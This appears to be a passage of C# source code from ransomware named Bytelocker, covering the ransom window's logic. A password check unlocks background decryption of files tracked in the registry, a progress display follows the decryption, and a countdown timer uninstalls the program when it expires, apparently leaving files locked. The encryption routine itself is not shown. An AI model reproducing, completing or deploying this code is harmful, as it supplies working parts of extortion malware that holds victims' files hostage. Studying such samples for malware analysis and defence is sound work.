private void tmTimerDecrypt_Tick(object sender, EventArgs e) { if (!(this.rm.ReadAllValues(RegistryManager.FILES_KEY_NAME)[0] == "null")) { if (!(this.current_decrypt_file_local == current_decrypt_file)) { this.current_decrypt_file_local = current_decrypt_file; if (current_decrypt_file.Length > MAX_FILE_SIZE_LENGHT_UI) { this.lbCurrentFileDecrypt.Text = TruncateFilePath.ShrinkPath(current_decrypt_file, MAX_FILE_SIZE_LENGHT_UI); } else { this.lbCurrentFileDecrypt.Text = current_decrypt_file; } this.pbDecryptProgress.Increment(this.progress_bar_inc); } } else { this.tmTimerDecrypt.Stop(); this.pbDecryptProgress.Value = this.pbDecryptProgress.Maximum; MessageBox.Show("Finished Decrypting. Software will now uninstall.", "Finished", MessageBoxButtons.OK, MessageBoxIcon.Information); this.Visible = false; Bytelocker.Uninstall(); } }
private void BtnVerify_Click(object sender, EventArgs e) { this.pm = new PasswordManager(); this.pm.FetchPassword(); if (!(this.tbPassInput.Text == this.pm.returnPassword())) { MessageBox.Show("Invalid Password", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } else { this.tmTimeLeftRefresher.Stop(); this.BtnVerify.Hide(); this.lbTimeLeft.Text = ""; this.rtfInfo.Clear(); this.tbPassInput.Hide(); this.lbTitleTime.Hide(); this.lbTitle.Text = "Decrypting . . ."; this.lbTitle.Show(); this.lbCurrentFileDecrypt.Show(); this.pbDecryptProgress.Show(); this.progress_bar_inc = this.pbDecryptProgress.Maximum / this.rm.ReadAllValues(RegistryManager.FILES_KEY_NAME).Count; this.tmTimerDecrypt.Start(); new Thread(() => { Thread.CurrentThread.IsBackground = true; Bytelocker.Decrypt(); }).Start(); } this.pm = null; }
private void UpdateTime() { int timeLeftSeconds = (int)this.tm.DetermineRemainingTimeInSeconds(); if (timeLeftSeconds < 0) { this.tmTimeLeftRefresher.Stop(); this.lbTimeLeft.Text = "00:00:00:00"; // if time is 0, uninstall program this.Visible = false; Bytelocker.Uninstall(); } else { this.lbTimeLeft.Text = (TimeSpan.FromSeconds(timeLeftSeconds)).ToString(@"dd\:hh\:mm\:ss"); } }